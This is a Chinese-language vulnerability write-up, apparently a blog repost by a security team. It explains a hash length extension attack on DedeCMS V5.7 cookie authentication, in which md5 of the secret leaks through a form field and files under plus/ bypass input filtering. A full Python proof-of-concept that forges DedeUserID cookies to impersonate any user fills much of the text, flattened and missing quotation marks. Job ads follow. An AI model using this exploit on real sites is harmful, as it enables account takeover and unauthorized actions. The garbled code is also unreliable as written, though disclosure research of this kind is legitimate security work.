本文來自 ChaMd5安全團隊審計組 呆哥,文章內容以思路為主。

如需轉載,請先聯繫ChaMd5安全團隊授權。

未經授權請勿轉載。

漏洞影響:Dedecms(織夢CMS) V5.7.72 正式版20180109 (最新版)

漏洞原理

DedeCMS用戶認證是通過驗證Cookie中的 DedeUserID和DedeUserID__ckMd5進行的,具體如下:

其中$cfg_cookie_encode是安裝時生成的不可預測字元串。

其中md5($cfg_cookie_encode.$_COOKIE[$key])符合md5(salt + padding + data)的格式,易受哈希長度拓展攻擊,只要我們知道了md5($cfg_cookie_encode)和$cfg_cookie_encode的長度即可偽造cookie。

從安裝時的邏輯中我們可以知道$cfg_cookie_encode的長度為28~32

找到memberarticle_add.php

25行檢測dopost是否為空,46行導入模板文件

找到member empletsarticle_add.htm

74行調用PrintAutoFieldsAdd(),跟進去

238行輸出$dede_addonfields

239行輸出md5($dede_addonfields.$cfg_cookie_encode)

瀏覽器中直接訪問,可知在默認情況下$dede_addonfields為空值

因此表單dede_fieldshash的值就是md5($cfg_cookie_encode)

找到MemberLogin類,M_ID 在從cookie中獲取時會調用GetNum()進行處理

跟進去

這樣處理一下就會消除哈希長度擴展攻擊引入的空字元等特殊字元的影響

但是在全局文件config.php中會對輸入調用XSSClean()對$_COOKIE進行過濾

從24行可知,空字元會被替換為空導致漏洞不能利用。

又研究了一下發現plus下的文件都是直接包含common.inc.php而不是config.php

因此可以利用此目錄下的文件進行哈希長度拓展攻擊!

例如,plusfeedback_ajax.php 用於文章評論,因此這裡可以利用哈希長度拓展攻擊偽造任意用戶身份實現越權評論文章!

參考鏈接:

blog.csdn.net/qq_350786

POC:

import sysimport hashlibimport urllib#此POC只需修改以下兩個參數userid = 1 #此變數就是要偽造的用戶iddede_fieldshash = 8b5d1a6dd0899aff8658b667a0923765 #該值從article_add.php的源碼中獲取def genMsgLengthDescriptor(msg_bitsLenth): return __import__("struct").pack(">Q",msg_bitsLenth).encode("hex")def reverse_hex_8bytes(hex_str): hex_str = "%016x"%int(hex_str,16) assert len(hex_str)==16 return __import__("struct").pack("<Q",int(hex_str,16)).encode("hex")def reverse_hex_4bytes(hex_str): hex_str = "%08x"%int(hex_str,16) assert len(hex_str)==8 return __import__("struct").pack("<L",int(hex_str,16)).encode("hex")def deal_rawInputMsg(input_msg): ascii_list = [x.encode("hex") for x in input_msg] length_msg_bytes = len(ascii_list) length_msg_bits = len(ascii_list)*8 ascii_list.append(80) while (len(ascii_list)*8+64)%512 != 0: ascii_list.append(00) ascii_list.append(reverse_hex_8bytes(genMsgLengthDescriptor(length_msg_bits))) return "".join(ascii_list)def getM16(hex_str,operatingBlockNum): M = [int(reverse_hex_4bytes(hex_str[i:(i+8)]),16) for i in xrange(128*(operatingBlockNum-1),128*operatingBlockNum,8)] return Mdef T(i): result = (int(4294967296*abs(__import__("math").sin(i))))&0xffffffff return result F = lambda x,y,z:((x&y)|((~x)&z))G = lambda x,y,z:((x&z)|(y&(~z)))H = lambda x,y,z:(x^y^z)I = lambda x,y,z:(y^(x|(~z)))RL = L = lambda x,n:(((x<<n)|(x>>(32-n)))&(0xffffffff))def FF(a, b, c, d, x, s, ac): a = (a+F ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff; a = RL ((a), (s))&0xffffffff; a = (a+b)&0xffffffff return a def GG(a, b, c, d, x, s, ac): a = (a+G ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff; a = RL ((a), (s))&0xffffffff; a = (a+b)&0xffffffff return a def HH(a, b, c, d, x, s, ac): a = (a+H ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff; a = RL ((a), (s))&0xffffffff; a = (a+b)&0xffffffff return a def II(a, b, c, d, x, s, ac): a = (a+I ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff; a = RL ((a), (s))&0xffffffff; a = (a+b)&0xffffffff return a def show_md5(A,B,C,D): return "".join( [ "".join(__import__("re").findall(r"..","%08x"%i)[::-1]) for i in (A,B,C,D) ] )def run_md5(A=0x67452301,B=0xefcdab89,C=0x98badcfe,D=0x10325476,readyMsg=""): a = A b = B c = C d = D for i in xrange(0,len(readyMsg)/128): M = getM16(readyMsg,i+1) for i in xrange(16): exec "M"+str(i)+"=M["+str(i)+"]" #First round a=FF(a,b,c,d,M0,7,0xd76aa478L) d=FF(d,a,b,c,M1,12,0xe8c7b756L) c=FF(c,d,a,b,M2,17,0x242070dbL) b=FF(b,c,d,a,M3,22,0xc1bdceeeL) a=FF(a,b,c,d,M4,7,0xf57c0fafL) d=FF(d,a,b,c,M5,12,0x4787c62aL) c=FF(c,d,a,b,M6,17,0xa8304613L) b=FF(b,c,d,a,M7,22,0xfd469501L) a=FF(a,b,c,d,M8,7,0x698098d8L) d=FF(d,a,b,c,M9,12,0x8b44f7afL) c=FF(c,d,a,b,M10,17,0xffff5bb1L) b=FF(b,c,d,a,M11,22,0x895cd7beL) a=FF(a,b,c,d,M12,7,0x6b901122L) d=FF(d,a,b,c,M13,12,0xfd987193L) c=FF(c,d,a,b,M14,17,0xa679438eL) b=FF(b,c,d,a,M15,22,0x49b40821L) #Second round a=GG(a,b,c,d,M1,5,0xf61e2562L) d=GG(d,a,b,c,M6,9,0xc040b340L) c=GG(c,d,a,b,M11,14,0x265e5a51L) b=GG(b,c,d,a,M0,20,0xe9b6c7aaL) a=GG(a,b,c,d,M5,5,0xd62f105dL) d=GG(d,a,b,c,M10,9,0x02441453L) c=GG(c,d,a,b,M15,14,0xd8a1e681L) b=GG(b,c,d,a,M4,20,0xe7d3fbc8L) a=GG(a,b,c,d,M9,5,0x21e1cde6L) d=GG(d,a,b,c,M14,9,0xc33707d6L) c=GG(c,d,a,b,M3,14,0xf4d50d87L) b=GG(b,c,d,a,M8,20,0x455a14edL) a=GG(a,b,c,d,M13,5,0xa9e3e905L) d=GG(d,a,b,c,M2,9,0xfcefa3f8L) c=GG(c,d,a,b,M7,14,0x676f02d9L) b=GG(b,c,d,a,M12,20,0x8d2a4c8aL) #Third round a=HH(a,b,c,d,M5,4,0xfffa3942L) d=HH(d,a,b,c,M8,11,0x8771f681L) c=HH(c,d,a,b,M11,16,0x6d9d6122L) b=HH(b,c,d,a,M14,23,0xfde5380c) a=HH(a,b,c,d,M1,4,0xa4beea44L) d=HH(d,a,b,c,M4,11,0x4bdecfa9L) c=HH(c,d,a,b,M7,16,0xf6bb4b60L) b=HH(b,c,d,a,M10,23,0xbebfbc70L) a=HH(a,b,c,d,M13,4,0x289b7ec6L) d=HH(d,a,b,c,M0,11,0xeaa127faL) c=HH(c,d,a,b,M3,16,0xd4ef3085L) b=HH(b,c,d,a,M6,23,0x04881d05L) a=HH(a,b,c,d,M9,4,0xd9d4d039L) d=HH(d,a,b,c,M12,11,0xe6db99e5L) c=HH(c,d,a,b,M15,16,0x1fa27cf8L) b=HH(b,c,d,a,M2,23,0xc4ac5665L) #Fourth round a=II(a,b,c,d,M0,6,0xf4292244L) d=II(d,a,b,c,M7,10,0x432aff97L) c=II(c,d,a,b,M14,15,0xab9423a7L) b=II(b,c,d,a,M5,21,0xfc93a039L) a=II(a,b,c,d,M12,6,0x655b59c3L) d=II(d,a,b,c,M3,10,0x8f0ccc92L) c=II(c,d,a,b,M10,15,0xffeff47dL) b=II(b,c,d,a,M1,21,0x85845dd1L) a=II(a,b,c,d,M8,6,0x6fa87e4fL) d=II(d,a,b,c,M15,10,0xfe2ce6e0L) c=II(c,d,a,b,M6,15,0xa3014314L) b=II(b,c,d,a,M13,21,0x4e0811a1L) a=II(a,b,c,d,M4,6,0xf7537e82L) d=II(d,a,b,c,M11,10,0xbd3af235L) c=II(c,d,a,b,M2,15,0x2ad7d2bbL) b=II(b,c,d,a,M9,21,0xeb86d391L) A += a B += b C += c D += d A = A&0xffffffff B = B&0xffffffff C = C&0xffffffff D = D&0xffffffff a = A b = B c = C d = D return show_md5(a,b,c,d)cfg_cookie_encode_md5 = dede_fieldshashs1 = cfg_cookie_encode_md5[0:8]s1 = 0x + s1[6:8] + s1[4:6] + s1[2:4] + s1[0:2]s2 = cfg_cookie_encode_md5[8:16]s2 = 0x + s2[6:8] + s2[4:6] + s2[2:4] + s2[0:2]s3 = cfg_cookie_encode_md5[16:24]s3 = 0x + s3[6:8] + s3[4:6] + s3[2:4] + s3[0:2]s4 = cfg_cookie_encode_md5[24:36]s4 = 0x + s4[6:8] + s4[4:6] + s4[2:4] + s4[0:2]exec(s1=%s %s1)exec(s2=%s %s2)exec(s3=%s %s3)exec(s4=%s %s4)#這裡的循環產生5種可能的DedeUserID,原因是$cfg_cookie_encode的長度無法預測for origin_length in range(28,33): if origin_length != 32: length = chr(origin_length*8) secret_admin = a*origin_length+x80+x00*(64-origin_length-1-8)+length+x00*7 + userid else: secret_admin = a*origin_length+x80+x00*(64-origin_length-1-8)+x00x01+x00*6 + userid r = deal_rawInputMsg(secret_admin) inp = r[len(r)/2:] ans = cnt = 0 for i in r[:len(r)/2]: if(cnt%2 == 0): ans += % ans += i cnt += 1 print "DedeUserID: "+ans[(origin_length*3):]+userid print print "DedeUserID__ckMd5: "+run_md5(s1,s2,s3,s4,inp)[0:16]

PS:

關於哈希長度擴展攻擊的工具,可參考pcat的兩篇博文:

cnblogs.com/pcat/p/7668

cnblogs.com/pcat/p/5478


~ChaMd5安全招聘~

啟明星辰雲眾可信

安全服務工程師/經理

chamd5.org/jobdetail.as

G7物聯網物流

滲透測試工程師

chamd5.org/jobdetail.as

360企業安全

高級攻防

chamd5.org/jobdetail.as


推薦閱讀:
查看原文 >>
相关文章